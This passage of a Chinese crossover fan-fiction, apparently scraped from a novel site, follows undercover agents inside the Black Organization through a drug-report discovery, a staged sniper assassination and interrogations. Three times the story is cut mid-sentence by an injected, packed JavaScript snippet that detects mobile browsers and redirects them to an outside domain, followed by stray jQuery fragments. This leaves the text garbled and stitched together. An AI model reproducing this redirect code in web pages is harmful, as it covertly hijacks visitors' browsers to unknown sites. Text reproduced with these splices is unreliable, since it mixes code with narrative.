这里离他的安全屋有近十五公里,今天他是坐波特酒的车来的———而这人早就不知道跑哪里去了。 公共交通明显不现实。 靠走的? 珀洛塞可两眼一黑又一黑。 “滴滴———”一辆白色马自达驶过,正好停在青年面前。 “需要帮忙吗?” 车窗降下,露出里面金发青年的娃娃脸。 是波本。 太好了,是波本,不是什么琴酒伏特加贝尔摩德波特酒黑麦威士忌那帮乱七八糟的犯罪分子。 竹取无尘感觉天使降临在他身边。 “谢谢。”青年深深地吸气,然后拉开副驾驶坐了进去,转手撕开了闷了自己一天的易容。 “你怎么会在这里?” “琴酒那边的任务出了问题,朗姆突然通知我,让我过来看看,我觉得他是想让我来找点琴酒的麻烦,找到了更好,找不到也无所谓。” 降谷零趁着停车的空隙查看了一下手机通讯,夜色深了,但是年轻的公安却看不出倦态,他似乎感觉不到疲惫一样。 “琴酒的任务出了问题?” 竹取无尘想到琴酒那张脸,想象到对面任务失败的表情,感觉身上的疲惫感少了许多。 “另外一边的人先行进行了狙击,因为出现了杀人案,大部分警力都被吸引去了你那边,那个名流聚集的三楼反而没什么人守备。” 降谷零在此之前已经调查清楚了今天所有人的行动轨迹,包括竹取无尘因为被卷入杀人案而差点没完成的任务。 他侧头,看见青年脸上还没有结痂的伤口,从扶手箱里拿出OK绷递给对方。 “谢谢。”第二声道谢,竹取无尘真的由衷感谢那天的舞台让他收获了这么好的同事。 金发公安接着说:“结果就导致了自民党议员佐藤明死亡,现场动线混乱,所有人都被转移到了狙击死角,琴酒那边还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这人到底什么意思?黑发青年发现自己真的有点不太懂这个喜欢带针织帽的男人。 想和他拉近关系?试探他?闲着没事挑衅他? “组织的人?” “黑麦威士忌。”竹取无尘的语气带着一点复杂的情感。 “呵呵,他啊…”降谷零突然冷笑。 黑发青年不明所以地看了同事一眼。 这是怎么了,黑麦也去招惹降谷了? “不过说到这个人。”他想到了那个在909房间里面想拿交易物品去换妹妹的女性。“你方便帮我调查个人吗?” “你说。” “给我的名字是广田雅美,不确定是不是真名,黑麦威士忌的女朋友。” “她怎么了?” “她有想要的东西,而这个东西组织不能给她。” “有所求就代表好攻破,你觉得她可以帮到我们?” “先调查看看吧,当然,前提是你方便的话。” “我会抽空的。” 漫长的红灯过去了,马自达又重新驶向它的目的地。 “谢谢…”竹取无尘来到这个世界后,总是习惯性说谢谢。 说真的,他还是第一次体验这种有同伴的感觉。 那之前他是什么样的? 青年眯着眼,望着车外正在倒退的夜景———曾经有个人也能和他说上两句话,但是没有多久对方就死了,他不知道瑟克尔党有多少自己人,他也不想去知道,甚至排斥知道这么多消息,那是个连尸体都能被叫醒来吐情报的世界,知道得越少越好,这是一个能保护更多人的办法。 结果最后还是…… “你身上的伤。”降谷零开口,冷静沉稳的声音阻止了他扩散的回忆,“你准备怎么处理?” “小伤而已,回去擦擦碘伏就行。” 确实不算什么大问题,比起从前的一堆激光炮简直小巫见大巫。 真正的大问题是手里这一份实验报告。 “你车里安全吗?” “不安全的话我就不会和你讲这么多话了。”降谷零微微扬了扬嘴角,“你不会打算直接在这里看你那份拿到的文件吧。” “对啊…越快越好。” “不会有点太冒进吗?” “因为我猜不到下一秒会发生什么。”他拆开文件袋,在后视镜里和金发青年蓝灰色的眼睛对视。“所以越快越好。” 降谷零不着痕迹地看了对方一眼,说道:“好吧,不过你这么信任我?” 他是指这一份实验报告在他车里被打开的话,不怕被他看见吗? “不信任的话我就不会和你讲这么多话了。” 金发公安听到这句话被送回来,哑然失笑。 “更何况,本来就是等我看完和你们对情报的,现在能面对面聊,效率更高。” 那份沾着一点血的实验报告被打开,相关的记录显现在他的眼前。青年粗略扫了一眼,药物名称那一栏是空着的,些许单词刺进了他的脑子里。 黑色的瞳孔骤缩。 Lysergic acid diethylamide——□□ N,N-Dimethyltryptamine ——N,N-二甲基色胺 Psilocybin——裸头草碱 Salvinorin A——萨尔维诺林 A Glycine——甘氨酸 ……… 【动物模型实验记录】 【一般活动水平定性描述】 【出现焦虑表征】 【出现攻击性表现】 这些是…… 全部,全部都是…… 这哪里是药。 【出现强烈感知改变】 【体感以及视觉改变】 这是……L/S/D…… 【出现解离以及认知受损】 是毒。 自己的心跳声在不断地放大,甚至盖过了自己的呼吸声,青年不自觉加快了翻阅的速度,一行又一行的记录刺痛着他的眼睛。 【出现自伤性行为】 【强化焦虑状态】 【C57小鼠全部死亡】 在最后一面纸的空白背面,青年看到一个用铅笔写着的字迹,最末尾的几个字母已经被血迹污染。 ———banana fi■■ 17. 第 17 章 045 “怎么了?” 车辆已经到达了竹取无尘安全屋附近,正停靠在路边,被浓重的夜色包裹。 降谷零看着脸色越发不好的黑发青年,感觉到了事态貌似正在下坠。 “这个组织有涉及过du.品交易吗?”青年面色有点苍白,他还盯着手里那几张沾了血的纸。 “没有。” 这是个很干脆的回答。 降谷零把自己包装成神秘主义者,在多方周转,获取过很多的交易信息,在得到朗姆那边的信任后,甚至有部分的交易情报会经过他的手流出。 如果有这种高危的交易,哪怕不能过他的手,肯定也或多或少被上级警告过,或者他也会在交易流水中意识到不对劲。 “组织的非法勾当根基多在药品走私,非法生物实验,权/色交易,再往深探,便是与官/僚体系的深度勾结,和那一帮腐/败分子各取所需,结/党营私,党/同伐异,所以我们才会在行动上感觉到处处受到钳制。” “有些时候他们需要一些冠冕堂皇的话,甚至是一些道德制高点。” “走私du.品这种东西反而对组织会产生不利影响。” 那这就很奇怪了。 竹取无尘看着这一份应该是L/S/D的实验报告,陷入沉思。 “这个东西。”降谷零看着对方手上那一份已经皱皱巴巴的资料,意识到了什么。 “是毒?” 金发公安和青年短暂地对视了一眼,他看着对方挪开了视线,将那份实验报告规整收回档案袋中,放到了汽车仪表台上,然后看向窗外———除了夜色和不算明亮的路灯,那边什么都没有。 “降谷。”青年淡淡地开口,他望着车窗里自己的倒映。“你应该清楚有些事情知道的越多,就越危险。” 金发公安挑眉,语气中听不出心情的好坏:“哦?” “你想保护我?” 竹取无尘又转头回来,看着降谷零的瞳孔在不算明亮的车灯里折射着点点的光亮。 他摇了摇头。 “我没资格在这种事上保护你,降谷。” 他会给对方的精神画布罩上保护膜,会在致命的关键点伸手支援,可是偏偏在这种“信任与不信任”“知道与不知道”“求生与自杀”的论题上无能为力。 他算什么?他以什么身份?他凭什么以“保护”的名义搅动一个人最基本的行动的权利? 人是自由的。 “这份报告,我看完了,收拾好了,我会摘取合适的部分上报给警视厅,现在它放在你的仪表盘上,它怎么样,你怎么做,统统与我无关。” “你可以等待警察厅给你传达相关的消息,你也可以现在自己拆开这份报告,做出你自己的决定。” “你不看,我不会强制告诉你,你看了,我也不会阻拦你,二十分钟后,我会带着它回到我的安全屋,明天,我会原原本本把它交给琴酒。” 人是轨道,需要承担自己的命运。 “你还真是……傲慢地丢出来了一个残酷的选择题啊。” “……抱歉。” 降谷零看着仪表盘上的文档。 看了,就要承担知情的代价,做好死亡的准备,而不看,就是试图拙劣地欺骗自己,换取生存的机会。 但其实对于降谷零来说,这个选择题非常好回答。 金发公安带上手套,拿过被放在仪表盘上的档案袋,轻轻扯开绕在袋上的绳结,抽出实验报告。 深夜,雾气渐浓。 046 banana fi■■ “L/S/D?” 降谷零算是清楚了刚刚竹取无尘脸色这么差的原因。 “你也是这么觉得的吧。” “我会从今天交易的Ezra开始调查,既然有组织想组织我们拿到这份报告,就代表对方很有可能是Ezra的敌对方。” “至于这个东西。”金发公安敲了敲手中的报告。“你有看报告里记录的小鼠行为的实验吗?” “出现了过度不安,被害型表征,持续警觉,攻击倾向增强…”竹取无尘的视线落到纸上一段一段的英文记录,“以及C57组全部死亡。” “你怀疑这不是传统du.品,要么就是用于暗杀,要么就还是半成品?” “差不多。” “不过不管是什么。”公安紧皱着眉头,语气中带着一丝压制着的怒意。 “都最好离我的日本远一点。” 竹取无尘感觉自己眉心一跳。 手机铃声再次响起,打断了两人的对话。 这次是降谷零的手机。 公安看着自己的手机屏幕,皱着的眉头没有放下。 青年侧头看着自己的同事,觉得自己今天是听不到什么好消息了。 “有个消息。”降谷零关上手机,双手在搭在方向盘上,点了点手指。 竹取无尘苦笑道:“总不能又是坏消息吧。” “看你怎么判断了。”他叹了口气。 “警察厅那边的消息,上次那颗缓释药的成分下来了。” “美沙/酮、度洛西/汀……β-氯代甲基酮*和一些作用未知的生物碱。” 前两个是传统的止痛药物的成分…… “公安给出了三剂能代替缓释药的针剂,我觉得我们最好减少服药的次数。” “可惜上一次提供给他们的样本还不够。” 这样啊。 如果是这样的话…… “好,那我下次拿到缓释药就直接拿给你。” 样本而已,他们这里可是有整整三个卧底。 047 【电脑通讯】C:帮我调查该组织在美的相关交易流水,相关交易物品报告已上传,疑似致/幻药物。 【电脑通讯】:收到,报告已录入。 048 【“阿蒂斯”】 “你到底为什么要救我?为什么?” “我明明都已经…都…为什么……如果你不救我,我又怎么会落到这个地步!” “你这么做又和艾德里安有什么区别!” 【对不起。】 是谁在说话。 “不要总觉得拿着个精神类控制类的异能就了不起了,就能拯救所有人了,好吗?” “你觉得你们凭什么?” 太阳掉下来了。 掉在了骨头上? 太阳呢? 祈祷。祈祷。 “为什么不让我去死?” “为什么要救我?” “你凭什么拯救我?” 【对不起。】 049 这些到底是什么时候的事情。 他曾经遗忘了什么。 但是又有谁有能力对他的记忆下手。 酒吧里,珀洛塞可套着一件黑色运动外套,把那只皱巴巴的档案袋交给了琴酒。 “大人,”青年顺手压了压自己的鸭舌帽,“下次安排一点轻松的活好吗?” “我可是顶着一身的裂口过来给你交东西啊。” “我说过了你不想干可以去死。” 琴酒咬着烟,眯眼看了看对方递过来的明显被打开过的档案袋,冷笑道:“你看过这个东西了?” “哦呀。”珀洛塞可接过酒保手中递过来的起泡酒。 “大人,这话不能乱说吧。” “我拿到的时候就已经这样了,对方直接把交易用的U盘放进了这个档案袋,我需要拆开才能拿到U盘。” “这个理由听起来和你解释杀了干邑的理由一模一样。” 言下之意就是,在珀洛塞可口中,干邑被杀是干邑的问题,档案袋被打开也是敌对组织的人的问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427654|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 青年放下手中的酒杯,转头看着杀手——对方哪怕在室内也裹着厚重的黑风衣。 “大人,你到底是讨厌干邑还是暗恋干邑,怎么我每次来见你,你都要提一嘴他。” “你要真喜欢他,我可以——” “嘭。” 话音未落,珀洛塞可的后背突然狠撞上墙面,发出闷声一响。琴酒毫无征兆地起身,那只戴着黑色皮革手套的手扼住他的咽喉,精准压迫了气管,将未尽的挑衅彻底掐灭。 杀手死卡着对方,歪了歪头,眼睛里是不掩饰的杀意:“你要是也喜欢他,我倒是可以先送你下去。” 珀洛塞可感觉到对方的手在喉管上隐隐有收拢的趋势,皮革的质感称得上一句温热,紧贴着他的血管——那跳动的声音在他耳边逐渐放大。 “哈……恼羞成怒啊…Gin。” 他盯着对方的绿眸,有点困难地从嗓子里挤出这句话。 “放…手。”青年在笑。 几乎在同一瞬间,一个冷硬的物件抵在了琴酒的颈边。 那是一把修长的凿冰刀,不知何时出现在了对方手中,最尖锐的刀尖处隔着衣领,直指杀手的颈动脉,只要稍微一用力,命就会变得纸一样薄。 “你可以试一下…看看我们俩的动作谁比较快。” 银发杀手眼神一凛——他确实没有看见这个人是什么时候拿到的凿冰刀,也没有注意手上扼着的人什么时候出的手。 对方的杀人技比当年更胜一筹。 他松开手,后退了半步:“我倒是觉得让你做这些任务浪费了你的能力。” “至于这份实验报告。”那双毒蛇一样冷绿的瞳孔扫过了吧台上起了毛边的档案袋,轻蔑一笑,“你要是这么想给自己找事做,我不介意多看几场戏。” “咳…咳。”珀洛塞可站回地面,整理了一下被琴酒弄乱的衣领,揉了揉自己快淤青的脖子——琴酒真的下了狠手,“反正对外宣布的这份文件也只经手了我一个人,不是吗?” 青年满不在意地耸了耸肩。 “我看、或者没看、没区别吧。” 他甚至连指纹都没有管。 只要情报泄露,不管是不是他泄露的,他都会第一个死。 不过也确实是他泄露的就是了。 真出事了他也不冤。 “我还以为你们就是这个目的呢。” 青年重新坐回一边的椅子,对着酒保挥了挥手:“你好,给我一杯金酒,对,纯金酒,不加金汤力或者伏特加的那种。” 那一杯和杀手同名的酒水很快送达,珀洛塞可贴心地把手中的凿冰刀擦净,手腕一沉,锋利的刀尖没入酒杯中的冰球芯。 透亮的冰球没有碎开,只是浅浅裂开了一点缝,里面的刀刃清晰可见,改变了光折射的路线。杀手看着它在酒水里慢悠悠转了半圈,细纹里渗透进些许琥珀色的酒液。 “大人,多喝水,降降火。” 青年扬着嘴角,猫一样,把这杯插着凿冰刀的金酒推到杀手面前。 “我脖子还挺痛的。” ——自己的脖子绝对已经淤青了。 “听说你上次任务失败了。”他发出一声极为短暂的、玩味的低笑。 “那就祝你下次任务不要再遇到老鼠了。” 话毕,珀洛塞可也不管琴酒那张藏在帽子和高领衫下的脸会是什么表情,转身走出酒吧。 精神力值降低至10% 快十一月了,是闷灰色的阴天,些许冷意钻进鼻腔。 他拉上运动外套的拉链———想到琴酒眼睛里,他用50%的精神力也没太看清的精神画布,以及无论自己怎样挑衅,对方都不曾出现的精神缺口。 乌鸦又开始乱嚷。 不过有个好消息。 这段时间唯一的好消息了。 竹取无尘可以好好休息几天。 18. 第 18 章 050 什么样的人会使他运用更多的精神力去探查? 答案是一个受过精神训练的人。 作为组织的高层,忙碌的琴酒大人似乎有很多仇敌,也有很多秘密———这个秘密甚至比乌丸莲耶还要难查到。 对的,乌丸莲耶。 这并不算什么难查的事情,整个组织的生物医药系统是依靠什么成立的,背后的公司是依靠什么注册的,资金是从哪里到哪里周转的,他和诸伏降谷三个人把情报一对就查出来了。 不过不能实行逮捕,乌丸集团是日本大半的经济命脉,更别提他们现在连乌丸莲耶在哪里都没找到。 要缓慢地深入、阻止、截取、替换。 如果只是简单地杀了一个乌丸莲耶,就还会有第二个爬上来,第三个爬上来……涉/黑到了这个程度,稍微一不注意,就会影响到普通民众的安危。 总之是个大工程,并非一朝一夕可以结束的事情。 弄清他们的药物体系,乌丸集团的主要目的,官/僚利益的牵扯,收集足够的证据,尽可能阻止危害公众的事件发生,这才是他们搜查官的主要任务。 就比如现在。 才休息了没两天的竹取无尘看着自己的手机。 【手机通讯】Scotch:有空来一趟吗? 假期结束了。 “有什么事吗?”青年收到消息后就直接出发,来到诸伏景光的安全屋,手里还拎着便利店买的零食和水。 “给你带了点吃的,放玄关桌子上了。” 他晃了晃手中的袋子。 “谢啦。”诸伏景光看起来像在收拾什么东西,他从忙碌中抬头,和青年打着招呼,语气听起来还算轻快。 “不算什么大事。” 猫眼青年起身,从一旁抽屉的密码箱中取出一枚针剂。 “他突然有任务,现在去了美国那边,这是他们发下来的针剂。” “临床前与临床验证都表现良好,就是模仿那枚缓释剂大部分成分做出的止痛药物,你可以放心用。” 那枚针剂被放在了竹取无尘的手上。 他深呼吸了一口气,针剂轻飘飘的,无色透明,却无端勾起一股倦怠感,不算浓重的疲惫充斥着人。哪怕已经过了大半年,这场争端也才刚刚摸到一点好的开始。 他想起那个一直在路途上奔波的金发同事。 对方不会感到累吗? “好的,谢谢。”他收起那一枚针剂———还没有到使用它的时间点。 “上次你和琴酒的任务失败了?” 诸伏景光颔首:“这个也是我要给你说的。” “他那边查到了消息,影响组织任务的貌似是美国纽约科西嘉财团在日本的底层人员,波特酒疑似卧底,目前在逃。” 那个做任务做到一半就不知道去哪的波特酒,竹取无尘点了点头,这很合理。 “组织暗杀中岛本木失败,琴酒负责追查波特酒,这个任务又被交给了我和卡尔瓦多斯。” 竹取无尘:“需要我这边帮忙吗?” “大部分安排我都已经和警视厅那边沟通好了。”诸伏景光走到窗户边,薄薄的玻璃隔开了外界弥漫的湿意,快要入冬了。 “一会我把任务的资料和那个维洛的信息邮件发给你,你可以看一下。” 他们查到维洛了,黑发青年坐在沙发上,揉着房主买的抱枕,思考着当下的情况。 “维洛的事可以不急,不过任务的话…直接假用波特酒的名号给中岛本木传递消息,告诉他组织一次暗杀不成,还会有第二次暗杀,会是一个很快的方法。” 不过听诸伏景光的语气,他们好像还有别的打算。 “但是你们没这么做,这是打算一鱼两吃?” 猫眼青年的手指搭在窗台上,微不可查地一叩,轻轻点了点头:“卡尔瓦多斯太大意了。” 这是有人要遭殃啊,他看着对方蓝色眼睛中一闪而过的冷意,这么想着。 “不过还是需要你过来帮忙盯着一下。” “好。” 051 卡尔瓦多斯太大意了。 用贝尔摩德的相关消息一钓,他的居住地点,指纹,DNA,个人身份信息全部一起被扒出来了。 一份卡尔瓦多斯警部的资料凭空出现在了警视厅,他是保护中岛本木这场任务的主要执行人。 而他,苏格兰,只需要狙击刺杀在顶楼的假人就行。 到时候等组织那帮人发现中岛本木没有死,反过来问责他的时候,就可以顺理成章地把卡尔瓦多斯的警方资料提交,这帮黑乌鸦们就去天南地北地追查已经在坐牢的人吧。 不过总感觉不太放心。 猫眼青年站在天台,距离那次和竹取无尘的交流已经过去了几天,狙击枪已经对准了中岛本木即将出席的座谈会内部,一个用于迷惑外界视线的假人已经被安放好。 “苏格兰,听得见吗?”是竹取无尘aka珀洛塞可的声音,这只蓝牙耳机只链接了他们两个人。 “听得见,珀洛塞可。” 还没有到时间,苏格兰拿着望远镜探查着对面高楼的状况,勉强可见卡尔瓦多斯已经潜进了楼内,还有不少公安同事暗中盯梢。 事情很顺利。 珀洛塞可在周围,有突发情况他可以直接和对方联系。 中岛本木手上有很多重大项目,为官清廉,民意大部分都倒向他。 他的位置很重要,要是被刺杀了,组织的腐蚀会更进一步。 这个任务不能失败,中岛本木不能死。 苏格兰反复查看时间,检查着狙击枪。 “我看见了波特酒。”珀洛塞可的声音从耳机中传来。 “我去追他,你继续做任务,不要被干扰。” “好。” 还剩五分钟。 “我在天台抓到波特酒了,他就是来干扰这 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竹取无尘抓住了同样想阻止这个任务的波特酒。 他能做点什么? 还有一分钟。 “把波特酒弄晕!珀洛塞可!” “嗯?啊,好了,他晕了。” 刚刚和波特酒达成共识的珀洛塞可听到自己的同事突然在耳机那边发令。 那位温润的青年很少用这么急的语气。 反手用枪托敲晕了波特酒的珀洛塞可皱眉。 出什么事了? 枪声突然从耳边炸开。 第一声,击碎了楼下的玻璃。 第二声在隔了一小段时间后响起,声响比第一声小了很多,他是从耳机里听见的。 第三声,枪声又恢复了第一次的声响,震得黑发青年把耳机都稍微拿开了一点———头皮略微有点发麻。 “帮个忙,珀洛塞可。” “握着波特酒的手,让他随便开两枪。” “还有…你开车来了吗。” 他按照苏格兰的指令逐一完成,深思了一瞬。 三声枪响,两声是狙击枪。 握着波特酒的手开枪,这是在伪造硝烟反应。 苏格兰这人,不会对着自己开枪了吧? 053 他真的对自己开枪了。 竹取无尘把晕死过去的波特酒丢进后备箱,开车迅速绕到了诸伏景光执行任务的大楼底下,看着对方背着吉他包下楼,还有他左侧锁骨下方,那一大片蔓延开的血迹。 那个位置要是稍微不注意,诸伏景光这辈子都别想再举起枪了。 “你……”黑发青年调整了一下语序。 “算了,快上车。” “我现在需要配合你做什么?” 19. 第 19 章 054 卡尔瓦多斯由于站着,目标最大,于是被苏格兰一枪毙命,但是这也完全暴露了狙击手的位置。 这时波特酒持枪突然出现,逼苏格兰放开狙击枪,当他放开枪,正对着对方的时候,波特酒突然开枪,那颗子弹直朝着狙击手的心脏而去———不过苏格兰躲了一下,并没有被击中要害。 在对方还没有朝着苏格兰开出第二枪时,一直在追踪波特酒的珀洛塞可冲了出来,一把敲晕了还没来得及开枪的人。 但是由于距离第一次狙击已经过了一段时间,唯一的狙击手锁骨下方受了枪伤,没有办法击中已经在准备撤退的中岛本木等人,最后他尝试开枪,也只打穿了会议室的吊灯。 任务失败,二人扛着叛徒波特酒迅速撤离。 这就是全部的剧本。 竹取无尘开着车,神色复杂地从后视镜里看着坐在副驾驶的诸伏景光。 对方由于持续失血和疼痛,已经面色发白,靠在车窗上不发一言。 他不知道该怎么说这个苏格兰在两分钟之内定下来的、伤敌一千自损八百的剧本。 “手还能动吗?”黑发青年觉得自己需要判断一下同事的伤势如何。 诸伏景光是一名狙击手,一名公安,他这是用他的职业生涯在赌。 “没事的。”猫眼青年声音低哑,“我避开了重要位置,应该没有伤到神经或者肺。” “好。”他又看了一眼同事的伤口———卫衣上的血迹还在扩散。 “我会配合你的行动,我们正在去组织医疗点的路上,我明白你没有让我杀波特酒是因为你想留一个活口供,以免琴酒多疑。” “波特酒他说他想要THK系列的解剂,我们刚刚在这一点上达成了合作,一会等他醒过来,我再和他谈谈,然后直接丢到维洛那个实验基地。” “如果他不配合,我还是会杀了他。” 青年在这里停顿了一下。 “抱歉,这不是在争得你的同意。” “至于警视厅的内鬼。” 竹取无尘脸色阴尘,他猜测过警视厅内部不干净,可是没想到来的这么快。他是凭空突然来到这个世界的,没有自己的势力,只能自己一点一点黑内部网站获取消息,如果动用异能,在上个世界或许可行,但是现在削弱太大,一个一个人找过去的话,日本首相都改姓乌丸了他说不定都没找出来内鬼是谁。 对于这个内鬼,现在的他貌似无能为力。 “我会想办法,一会我就去通知桐生把我们的资料信息再加密隐藏。” 后视镜里,他看到诸伏景光闭了闭眼,微微点头。 “好。” 这是他们能做到的最好的解决方法了。 路上的行人不多,偶有枯叶从两旁的树上掉落,建筑物在灰霾中模糊。 十一月,一个萧瑟的时节。 等一下,已经十一月了吗。 一个念头忽地从青年的脑子里闪过。 “诸伏,你是不是快到拿缓释药的六十天了。” 偏偏是这个节点。 他想起上次他杀了干邑也是这个节点,然后直接被琴酒抓到禁闭室关了一个星期,卡着六十天给他玩了一次审讯。 那么这一次,就算诸伏景光的剧本再天衣无缝,也是一次真正涉及到了有警方卧底的任务失败。 琴酒会放过这次机会吗? 他把诸伏景光放到组织的医疗点,那对方还能再跟着他出来吗? 他能扛得过那一个接一个的药物,那诸伏景光可以吗? 猫眼青年皱着眉,也在考虑着这件事情:“还有两天。” 只有两天了,时间甚至比他上次更紧急。 “公安给的针剂有用吗?” “止痛的话或许可以…但是如果那些药有洗脑效果…” 又是一次赌/博。 这一次坐上赌台的是诸伏景光。 啧。竹取无尘抿了抿唇。 车辆稳稳刹停在医疗点门口,他拿出前几天诸伏景光递给他的那枚针剂———害怕今天任务出现意外,他索性决定随身携带。 “拿好。”青年把针剂放进诸伏手里,“你进去之后我管不了你,会发生什么我也不确定。” “不过不管发生什么,都不要有太大心理负担。” 他抬眼,和诸伏景光那双静谧悠远的蓝眸对视。 精神力值降低至70% “如果出了事,我会第一时间通知波本,再视情况决定能不能救你。” 精神力值降低至40% “抱歉。” 精神力值降低至10% 那是诸伏景光再一次感觉到竹取无尘那双沉黑的瞳孔在转着漩,也有可能是失血过多,他觉得有些发晕,手里紧握的针剂硌着人,唤回了一点理智。 他安抚性地对黑发青年笑了笑,从包里拿出了什么东西:“我的那枚针剂就在安全屋的老位置,密码你上次也看见了,直接去拿就行,这是房子钥匙。” 他还说:“好的。” 055 竹取无尘只能目送诸伏景光带着伤,一步一步走进组织的医疗点。 金属门关闭,再看不到那个常穿卫衣、背吉他包的青年的背影。 三层精神保护膜,一份针剂,但是这些都只是保底的手段。 他要快点行动。 两天。 还有两天。 天空一直是灰白的,尘埃在车里起起伏伏。 西西弗斯的石头又从山顶滚落。 青年吐出一口浊气,看着被又被他从后备箱扯出来,丢到副驾驶弄醒的男人。 “那么,让我们来接着谈谈合作的事情。” “THK004药效发作的感觉不好受吧。” “波特酒,Eyad先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427656|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。” 男人明显不适地在座位上弓着腰,那只带疤痕的左眼扫了扫青年,从嘴里挤出一段话:“好算计啊,珀洛塞可。” “过奖过奖。” “你要我配合你做什么?” 珀洛塞可整个人靠进车座里,手上把玩着一柄小刀,撇了两眼男人:“帮我说两段词而已。” “我要是不帮呢?” 刀刃霎时间抵住男人的脖颈。 “那你今天就别想出这辆车了。” 青年拉出一个轻蔑的笑容。 “帮我没坏处,Eyad先生,我可以告诉你维洛的消息,我可以帮你获得解剂,我甚至可以现在缓解你的症状——很痛吧?我也体会过。” “好处就摆在你的眼前,你要是进了禁闭室,琴酒那帮人可不会给你止痛药缓释药,但是我可以给你,怎么样?” “不过你要是不说,或者乱说,我不介意让你直接痛死在禁闭室里面。” “呵。” 波特酒没什么好语气,任务失败逃跑后,他已经超过了服药时间太久,从一开始的头痛,逐渐发展成现在这个样子——能撑着来找中岛本木已经是他能做到最极限的事情,结果还没有进楼,就直接撞上了珀洛塞可。 “那天我给你递的那块面包怎么没毒死你。” “真是抱歉,我不吃陌生人给的东西。”珀洛塞可依旧保持着那个把刀架在对方脖子上的姿势。 “这份交易,你意下如何?” “……成交。” 青年听着男人从齿间挤出来的这个词,真心实意地弯了弯眉眼,收回了刀。 “聪明人。” 【手机通讯】prosecco:苏格兰在6号医疗点,波特酒我一会带到最近的019号实验基地。 【手机通讯】Gin:你在波特酒那里盯着,我晚上过去,别让他死了。 “维洛就在019号实验基地,他的实验室在一楼,解剂放在保险箱内,我一会带你过去的时候会顺路收集消息,你会在禁闭室呆一整天。” “明天晚上九点我会在基地东南面,以及距离你禁闭室最近的几个不影响房屋构造的位置安装炸弹,你可以趁乱跑出去,不过怎么拿到东西,还要看你的本领。” “摆脱追捕之后我可是要来找你分赃的,别死路上了。” “…所以你现在是要去哪?”波特酒看着珀洛塞可开着车上了匝道,那明显不是去实验基地的位置。 “去拿你的止痛针。” 他的那根针剂刚刚给诸伏景光了,现在他还得回对方的安全屋去拿另外一根。 “所以,先生。” 青年一只手掌着方向盘,一只手空了出来。 “麻烦你,再睡一觉。” “你……” 被THK004折腾得基本没有反抗能力的波特酒今天第二次被珀洛塞可敲晕了过去。 20. 第 20 章 056 如果琴酒闲情逸致上来了,给波特酒注射AMS008怎么办。 答案很简单。 他已经通知桐生晴向公安申请,在之前去过的017训练室安装了一些小炸弹。 017训练室属于行动组名下管控,一旦出事,肯定会通知给琴酒,只要能转移一瞬那位杀手的注意力,事情的赢面就大了起来。 今天的夜晚由雾、乌鸦和火药构成。 禁闭室不灭的白炽灯打在人身上,显得皮肤下跳动的血管都是冷色。 炸弹控制器放在了珀洛塞可的外衣荷包,他可以随时控制炸弹开启。 黑色的瞳孔倒映着琴酒由外走进的身影,青年起身按开身后禁闭室的大门。 不得不说琴酒在某些时候真的是一位好队友,他正愁找不到机会仔细研究一下维洛的实验基地,对方就直接给他送了一个机会。 珀洛塞可整理了一下垂在眼前的发丝———太久没打理的刘海有些许遮眼睛,让人并不能真切地看清青年眼底闪过的情绪。 “这可不能算我的任务,大人。”他站在琴酒身后,走进禁闭室,双手揣进了运动外套的荷包,整个人显得有些散漫。 “工资要按照平常的三倍付给我。” “不算你的任务,你还这么积极?”琴酒嗤笑一声,显然又是对对方的态度充满了怀疑。 珀洛塞可:“他之前在那个任务里可是要毒死我啊。” “我这算合理的复仇。” “我能把他活着带回来,没有碰到他的一瞬间就把他杀了,已经算是在加班了。” 二人的目光投向了坐在房间最里的波特酒。 “你说是吧,波特酒。” “别来无恙啊……gin。”男人没有回答珀洛塞可的话,他看着站在最前面的琴酒,声音嘶哑,抖得不成样子。 同样体会过THK004药效的珀洛塞可非常明白这种说话都说不清楚的感觉。 “要问我什么……你们不都查清楚了吗。” “本来干完这一票就可以回去了…没想到那个蠢货杀了个死人,文件也被你们拿到了,美国那边根本不放我回去。” “回去了他们也会把我弄死…哈哈…” 空气很闷,头顶上的灯管时不时冒出令人烦躁的电流音,灯光下,男人的面色惨白如纸,疼痛严重撕扯着神经,倒豆子一样,他从嘴里挤出所知道的大部分情报。 这人所属的组织怪倒霉的,珀洛塞可一边听一边想着,琴酒还一句话都没说,他自己倒是吐情报吐了个不亦乐乎。 “不过,那个报告…你不觉得眼熟吗…哈哈哈哈……没想到竟然是你活到了最后,黑———” “砰!” 琴酒突然拿出伯/莱/塔,对准前方扣下扳机,子弹击中男人的右肩,那个不曾被人知晓的名字被打断,血腥味在紧闭的房间内炸开。 杀手收枪走向前,一把拽起男人的衣领,把人掼到了地上,鞋底紧跟着碾上他的侧脸,皮肉在粗糙的鞋底下发出令人牙酸的摩擦声。 他俯身,风衣下摆盖住了半边地上的人,些许的银发落在地上:“什么该说什么不该说,我以为你会自己有个数。” 琴酒又侧头,冷绿的眸子打量着在一旁看戏的珀洛塞可。 青年觉得自己该说点什么。 “我什么都没听见,大人。”他觉得波特酒肯定是故意的,再让他听到一点不该听的,今天琴酒就会让他和对方死在一块。 “毕竟我的命在您手上啊。”珀洛塞可虚伪地笑着。 